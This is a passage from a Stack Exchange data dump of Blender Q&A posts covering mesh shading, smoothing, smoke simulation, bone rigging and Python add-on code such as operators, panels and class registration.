game; I check the console; I see no errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point the mouse look works, but if you want to have a proper orbiting view, you'll need to create an additional empty to act as the head, parented to whatever acts as the body. The camera should then be parented to that new head, not the body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's your demo, with those modifications: &lt;a href=&quot;http://www.pasteall.org/blend/32275&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/32275&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't know Python basics, and you wish to learn, try my Python video tutorial series: &lt;a href=&quot;https://www.youtube.com/watch?v=iGQv7bR6zCQ&amp;amp;index=1&amp;amp;list=PLDFB7FFF90EE6F0C1&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=iGQv7bR6zCQ&amp;amp;index=1&amp;amp;list=PLDFB7FFF90EE6F0C1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6355" LastActivityDate="2014-10-21T23:29:49.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18055" PostTypeId="1" AcceptedAnswerId="18058" CreationDate="2014-10-21T23:46:26.393" Score="3" ViewCount="4754" Body="&lt;p&gt;I'm trying to create a simple human mesh. While working on the torso, I noticed some shading errors. They look even worse when you move the camera around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one on the left is with shading set to smooth and subdivision set to 5 on basic, the one on the right is shading set to flat, and no subdivision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/1STHRp0.png&quot; alt=&quot;here&amp;#39;s it with smooth shading and basic subdivision&quot;&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/gxd6GRQ.png&quot; alt=&quot;and here&amp;#39;s it with flat shading and no subdivision&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's another one...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/kHrBC5u.png&quot; alt=&quot;flat shading, 5x basic subdivision (not catmullclark)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that I can replicate the effect by simply making vertices go into the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/6oMF6Nf.png&quot; alt=&quot;bad shading&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how these could be fixed?&lt;/p&gt;&#xA;" OwnerUserId="2833" LastEditorUserId="8262" LastEditDate="2015-12-17T00:06:19.253" LastActivityDate="2015-12-17T00:06:19.253" Title="strange lighting, problem with normals?" Tags="&lt;mesh&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18057" PostTypeId="2" ParentId="18055" CreationDate="2014-10-22T00:48:18.177" Score="2" Body="&lt;p&gt;OK I noticed what the issue is, for anybody else having this problem it is caused by having an edge up against a single face. &lt;img src=&quot;https://i.imgur.com/8m67JRk.png&quot; alt=&quot;image of problem&quot;&gt;&lt;br&gt;&#xA;Notice how there are multiple vertices up against the single face. The fix is quite simple, I used the knife tool to cut a line from the problem vertices to another corner of the object making a triangle, like so:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/A3yE2Kx.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&#xA;What this does is it allows your single face to bend like it wants to, instead of it just popping the vertices out of the way.&lt;/p&gt;&#xA;" OwnerUserId="2833" LastEditorUserId="2217" LastEditDate="2014-10-22T17:27:22.723" LastActivityDate="2014-10-22T17:27:22.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18058" PostTypeId="2" ParentId="18055" CreationDate="2014-10-22T02:09:16.837" Score="6" Body="&lt;p&gt;As you  have discovered, this can be caused by non-planar faces.&#xA;Ngons are particularly susceptible to being non-planar, but this can happen to quads too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fix these automatically by selecting everything (&lt;kbd&gt;A&lt;/kbd&gt;), then pressing &lt;em&gt;Split non-planar faces&lt;/em&gt; in &lt;em&gt;3D view &gt; Header &gt; Mesh &gt; Cleanup&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NG0tk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-22T02:09:16.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18059" PostTypeId="2" ParentId="18020" CreationDate="2014-10-22T06:57:39.060" Score="5" Body="&lt;p&gt;While the info window can be helpful, the list of commands it shows is not a complete list, some operators are intentionally filtered out because they don't relate to editing your data (panning the view for example or scrolling the text window).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example is renaming an object, changing the name in the 3Dview properties sidebar or object properties shows in the info window but renaming in the outliner doesn't show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With opening/reloading blend files, the info window is cleared after opening a blend file, so the open command would be cleared out. If you refer to opening text files in python, any task using basic python functions isn't going to show in the info window, a call to a bpy based function would need to be made for blender to echo it into the info window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;br&gt;&#xA;You can see most if not all of the missing actions by setting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.app.debug_wm = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this will give a lot of extra entries, including zooming, typing in the console, scrolling up and down....&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="55" LastEditDate="2014-11-21T14:58:01.600" LastActivityDate="2014-11-21T14:58:01.600" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="18060" PostTypeId="2" ParentId="18033" CreationDate="2014-10-22T08:11:36.783" Score="5" Body="&lt;p&gt;It's a lot easier to get realistic results with the smoke simulator, however it will take longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick (and rather terrible) attempt at mesh smoke:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mgD1E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the mesh smoke I used a subsurfed cube with a displace and a remesh modifier, which I extruded randomly and duplicated around in edit mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smoke sim:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z9zSJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some tricks to getting smoke sim bake times down for a still, for example you can use a faster time scale and/or a quick moving particle system as the emitter in order to get the smoke into position in a smaller number of frames.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To get a nice thick white smoke, try using larger number of volume bounces and a lot of light. In the above images I used 5 volume bounces and a strength 5 sun lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the bounces in &lt;em&gt;Render settings &gt; Light paths&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z9vz9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure you have a pretty dense volume shader with scattering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a smoke sim a simple way to tweak the density is with a multiply node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbagA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-22T08:35:14.517" LastActivityDate="2014-10-22T08:35:14.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18063" PostTypeId="1" CreationDate="2014-10-22T09:54:07.993" Score="4" ViewCount="898" Body="&lt;p&gt;When loading PDB files into blender with the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/PDB&quot; rel=&quot;nofollow noreferrer&quot;&gt;Atomic Blender addon&lt;/a&gt;, only the atoms are present but no bonds, despite selecting sticks/bonds and varying a number of other settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0zByb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7619" LastEditorUserId="2217" LastEditDate="2014-10-22T14:25:39.187" LastActivityDate="2014-10-23T06:01:47.807" Title="Help with Atomic Blender addon" Tags="&lt;add-on&gt;&lt;import&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18064" PostTypeId="1" AcceptedAnswerId="18078" CreationDate="2014-10-22T10:46:32.253" Score="1" ViewCount="432" Body="&lt;p&gt;I want to use the &lt;code&gt;bpy.types.UIPopupMenu&lt;/code&gt; in my addon but it turns out that it can not register.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(Console:UIPopupMenu does not support registration).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can i use this class for addons? and how is it possible?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class testpopup(bpy.types.UIPopupMenu):&#xA;    bl_name = &quot;Name&quot;&#xA;    bl_idname = &quot;wm.testpopup&quot;&#xA;    bl_label = &quot;Popup Menue Test&quot;&#xA;&#xA;    info = {}&#xA;    def draw(self, context):&#xA;        layout=self.layout&#xA;        colsub=layout.column()&#xA;        split = colsub.row().split(percentage=0.15)&#xA;        split.label(text=&quot;Some&quot;)&#xA;        split.label(text=&quot;layout&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="2217" LastEditDate="2014-10-22T15:20:05.650" LastActivityDate="2014-10-22T18:24:41.313" Title="What is and how can I use the bpy.types.UIPopupMenu?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18065" PostTypeId="2" ParentId="18027" CreationDate="2014-10-22T14:11:37.510" Score="1" Body="&lt;p&gt;You can create new bones within the head, add a stretch to constraint and then bake the animation to get bones that rotate and scale and not translate.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select a bone on the face (forehead1 in this example)&lt;/li&gt;&#xA;&lt;li&gt;Snap cursor to bone &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; Cursor to Selected&lt;/li&gt;&#xA;&lt;li&gt;Select tip of the base bone (that is parent of all others)&lt;/li&gt;&#xA;&lt;li&gt;Extrude a new bone &lt;kbd&gt;E&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Snap the tip of the new bone to the target bone &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; Selected to cursor&lt;/li&gt;&#xA;&lt;li&gt;Name the new bone to forehead1.new (see later)&lt;/li&gt;&#xA;&lt;li&gt;Add a stretch to constraint and set the target to Armature then bone to forehead1&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Repeat these steps for each bone&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bake the animation (Pose-&gt;Animation-&gt;Bake action, enable visual keying and clear constraints), this will turn the movement created by the constraints into rotations and scales for the bone so that the constraint can be removed. This allows the final animation data to be exported as constraints are blender specific.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;select forehead1 and delete the bone&lt;/li&gt;&#xA;&lt;li&gt;select forehead1.new and rename it to forehead1&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Repeat for each bone&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is needed to keep the vertex weights in effect for the new bones, giving the new bones control of deforming the mesh. If you rename the original bone the vertex group will get renamed to match, therefore we need to delete the original bone and rename the new bone to match after the animation has been baked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;br&gt;&#xA;I have made an addon called &lt;a href=&quot;https://raw.githubusercontent.com/sambler/addonsByMe/master/rotationArmature.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rotation Armature&lt;/a&gt; to perform this task. Save the script from the link, then &lt;a href=&quot;https://blender.stackexchange.com/a/1689/935&quot;&gt;install and enable it&lt;/a&gt; you will then find a button in the tools tab called &lt;code&gt;Create rotational bones&lt;/code&gt; which will perform the steps listed above. This is currently rather specific to the test armature you used, I may update it later to be more versatile.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-10-25T15:13:06.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18066" PostTypeId="1" AcceptedAnswerId="18067" CreationDate="2014-10-22T14:23:29.810" Score="2" ViewCount="409" Body="&lt;p&gt;I have a model where the curve between the two surfaces needs to be smoothed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one near the left border of the red rectangle and the other on the opposite side. What I need to do, is change the angle between the two fragments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kXqoL.jpg&quot; alt=&quot;lines&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the 2nd image speaks for itself. The red line shows how it looks right now and the green one shows the effect that I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ottxs.jpg&quot; alt=&quot;screenshot explaining the problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how can I achieve the desired effect?&lt;/p&gt;&#xA;" OwnerUserId="7624" LastEditorUserId="8262" LastEditDate="2015-12-16T23:47:21.110" LastActivityDate="2015-12-16T23:47:21.110" Title="How to smooth out the slope between two fragments?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18067" PostTypeId="2" ParentId="18066" CreationDate="2014-10-22T14:31:17.950" Score="3" Body="&lt;p&gt;With your mesh selected go in to &lt;a href=&quot;https://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Sculpt_Mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;sculpt mode&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose the &lt;em&gt;Smooth brush&lt;/em&gt; by pressing &lt;kbd&gt;S&lt;/kbd&gt;, then &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; and drag over the places you want smoothed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you do not want to use sculpt mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode, select all of the vertices, by pressing &lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;. Then click on the button on the tool shelf, on the &lt;em&gt;Tools&lt;/em&gt; tab under &lt;em&gt;Deform:&lt;/em&gt; called &lt;strong&gt;Smooth Vertex&lt;/strong&gt;. You can adjust the number of iterations the smoothing runs in the bottom of the tool shelf, or by pressing &lt;kbd&gt;F6&lt;/kbd&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nqqCl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.450" LastActivityDate="2014-10-22T15:01:37.857" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18069" PostTypeId="1" AcceptedAnswerId="18077" CreationDate="2014-10-22T15:11:06.003" Score="3" ViewCount="2254" Body="&lt;p&gt;I tried to use &lt;code&gt;options={'HIDDEN'}&lt;/code&gt; when I declare my property but it doesn't seems to work. Is there a way to hide a custom property in the UI panel?&lt;/p&gt;&#xA;" OwnerUserId="6039" LastEditorUserId="2217" LastEditDate="2014-10-22T15:14:20.643" LastActivityDate="2014-10-22T18:09:08.787" Title="Hide custom properties in the UI panel with python" Tags="&lt;python&gt;&lt;interface&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18071" PostTypeId="1" CreationDate="2014-10-22T15:41:13.347" Score="4" ViewCount="314" Body="&lt;p&gt;Is it possible to trim an object by 1mm from each side?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scaling isn't really an option, because I don't exactly know the factor. I just want the model to be 1mm narrower from each side (each vertex should be &quot;pushed&quot; inside by 1mm).&lt;/p&gt;&#xA;" OwnerUserId="7624" LastEditorUserId="8262" LastEditDate="2015-12-16T23:29:33.913" LastActivityDate="2015-12-17T03:42:50.900" Title="How can I trim an object by an exact mesure?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18072" PostTypeId="1" AcceptedAnswerId="18075" CreationDate="2014-10-22T16:07:53.003" Score="5" ViewCount="4230" Body="&lt;p&gt;I am working on creating an addon and I have a main &lt;code&gt;__init__.py&lt;/code&gt; file and then I have a another file we will call &lt;code&gt;utils.py&lt;/code&gt;. &lt;code&gt;__init__&lt;/code&gt; registers all the classes in &lt;code&gt;utils&lt;/code&gt; by &lt;code&gt;import utils&lt;/code&gt; and then &lt;code&gt;bpy.utils.register_class(utils.CLASS)&lt;/code&gt;, it has several classes and that file registers them all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run the file once it works fine, but if you run it again it gives the error that the class is already registered as a subclass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;utils&lt;/code&gt; contains a &lt;code&gt;bpy.types.Panel&lt;/code&gt; and &lt;code&gt;bpy.types.Operator&lt;/code&gt; class. It is almost like the &lt;code&gt;bpy.utils.unregister_class(utils.CLASS)&lt;/code&gt; isn't working. &lt;a href=&quot;https://drive.google.com/file/d/0B35OsPAJ46kvQkRvVmdMYVBoenM/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;File&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="1363" LastEditDate="2014-11-23T23:41:59.250" LastActivityDate="2020-08-20T10:23:33.333" Title="Class already registered as subclass (module structure for addon)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18073" PostTypeId="2" ParentId="18071" CreationDate="2014-10-22T16:09:50.720" Score="4" Body="&lt;p&gt;You can modify the size of the object with the x, y, and z size spinners the toolbar on the right of the 3d view.  All input fields can accept simple mathematical expressions so if the current size is .5m you can type “.5-.002” (.002 not .001 because you want 1mm off each side) and it will scale the object accordingly.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-10-22T16:15:26.323" LastActivityDate="2014-10-22T16:15:26.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18074" PostTypeId="1" AcceptedAnswerId="18093" CreationDate="2014-10-22T16:42:48.827" Score="1" ViewCount="243" Body="&lt;p&gt;I'm creating a road on a 3D landscape.  The road's path is defined in the X and Y axes using a bezier.  I've created a small section which I'm then applying to the bezier using an array modifier and then a curve modifier.&#xA;To make the road follow the landscape, I'm applying a shrinkwrap modifier to it using project mode on the Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that where the road curves around on a sloping hillside, one side of the road is lower than the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best solution to make the road level please?&lt;/p&gt;&#xA;" OwnerUserId="7626" LastActivityDate="2014-10-22T22:14:59.690" Title="Constraining vertices in the Z axis when array, curve and shrinkwrap modifiers applied" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18075" PostTypeId="2" ParentId="18072" CreationDate="2014-10-22T17:26:31.193" Score="7" Body="&lt;p&gt;You can replace all calls to &lt;code&gt;bpy.utils.register_class(...)&lt;/code&gt; by a single call to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.utils.register_module(__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and all calls to &lt;code&gt;bpy.utils.unregister_class(...)&lt;/code&gt; by a single&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.utils.unregister_module(__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You won't have to (un-)register single classes ever again and your error should no longer occur. Do it in &lt;code&gt;__init__.py&lt;/code&gt; only and import all module files from here (&lt;code&gt;from . import ...&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the order of class definitions may matter, e.g. if you use a custom property group class in an operator (the code of the property group class needs to be above the class definition of the operator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example addon to show the file structure and imports: &lt;a href=&quot;https://dl.dropboxusercontent.com/u/39101475/blender-addon.zip&quot;&gt;blender-addon.zip&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-10-23T10:50:51.280" LastActivityDate="2014-10-23T10:50:51.280" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="18076" PostTypeId="1" AcceptedAnswerId="18082" CreationDate="2014-10-22T17:30:56.417" Score="2" ViewCount="1888" Body="&lt;p&gt;First of all thank you for taking the time to read this question. I'm new to Blender, been using it the last week and I'm having great results so far, I've learned most of the basic stuff on both renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I'm working on a cartoonish project I had this idea, instead of hand painting textures, I'd simply use the Freestyle option and end up with a nice cartoonish texture from baking.&#xA;After trying it on two projects, it baked successfully but without the freestyle strokes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I came to the conclusion it either doesn't work in baking, since it is the last to show up when rendering and only when pressing &quot;F12&quot; not in rendered mode (probably just a childish assumption) or I don't know what to do to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I bake a texture with Freestyle strokes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also including some pictures of my scenario, freestyle working fine in final render (F12), but not showing up on baked textures or rendering mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iuh24.png&quot; alt=&quot;Working in final render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/15GvB.png&quot; alt=&quot;Not working in normal rendering mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ONY1.png&quot; alt=&quot;Baked textures have no strokes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6411" LastEditorUserId="2217" LastEditDate="2014-10-22T17:40:55.833" LastActivityDate="2015-08-04T05:19:57.347" Title="Freestyle strokes not appearing in Cycles texture bake" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18077" PostTypeId="2" ParentId="18069" CreationDate="2014-10-22T18:09:08.787" Score="4" Body="&lt;p&gt;&lt;code&gt;options={'HIDDEN'}&lt;/code&gt; prevents &lt;strong&gt;operator&lt;/strong&gt; properties from being auto-drawn. If you define a custom &lt;code&gt;draw()&lt;/code&gt; method, nothing will be hidden.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    prop = bpy.props.BoolProperty(options={'HIDDEN'})&#xA;&#xA;    def execute(self, context):&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To hide global properties, simply don't draw them. You may use conditions to draw properties in certain circumstances:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;scene&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        if context.object is not None:&#xA;            layout.prop(context.object, &quot;name&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-10-22T18:09:08.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18078" PostTypeId="2" ParentId="18064" CreationDate="2014-10-22T18:24:41.313" Score="1" Body="&lt;p&gt;You don't need that class, just call &lt;code&gt;bpy.context.window_manager.popup_menu()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# only executed if run in operator context EXEC_*&#xA;def main(context):&#xA;    for ob in context.scene.objects:&#xA;        print(ob)&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;&#xA;    @staticmethod&#xA;    def draw_func(self, context):&#xA;        layout = self.layout&#xA;&#xA;        col = layout.column()&#xA;        split = col.split(percentage=0.15)&#xA;        split.label(text=&quot;Some&quot;)&#xA;        split.label(text=&quot;layout&quot;)&#xA;&#xA;    def invoke(self, context, event):&#xA;        wm = context.window_manager&#xA;        wm.popup_menu(self.draw_func, title=&quot;THE TITLE&quot;, icon=&quot;INFO&quot;)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def execute(self, context):&#xA;        main(context)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.simple_operator('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-10-22T18:24:41.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18080" PostTypeId="1" CreationDate="2014-10-22T18:47:23.070" Score="1" ViewCount="274" Body="&lt;p&gt;So I'm trying to achieve an animation in BI where there is a string that is attached at both ends to 2 separate objects. But I can't find anything that lets me take my string and attach it to them. The string is an elongated cylinder that has had a lot of loop cuts in the middle. Help please?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-10-22T18:47:23.070" Title="Soft body hook onto an object?" Tags="&lt;animation&gt;&lt;physics&gt;&lt;soft-body&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-10-22T23:35:55.563" ContentLicense="CC BY-SA 3.0" />
  <row Id="18081" PostTypeId="2" ParentId="18071" CreationDate="2014-10-22T19:01:53.240" Score="3" Body="&lt;p&gt;In edit mode, select all of the vertices on one side that you want to &quot;trim&quot;, using your favorite method. Then, press the G-key, and the axis you are working with (X or Y), and enter .001 on the numeric keypad. As a more concrete example, if you have the object oriented so that the centerline is aligned with, or parallel to, the global Y axis, to narrow the object along the global X axis, you would press the key sequence&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;.&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt; &lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to move the selected vertices in the positive direction along the global X axis, and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;-&lt;/kbd&gt; &lt;kbd&gt;.&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt; &lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to move the selected vertices in the negative direction along the global X 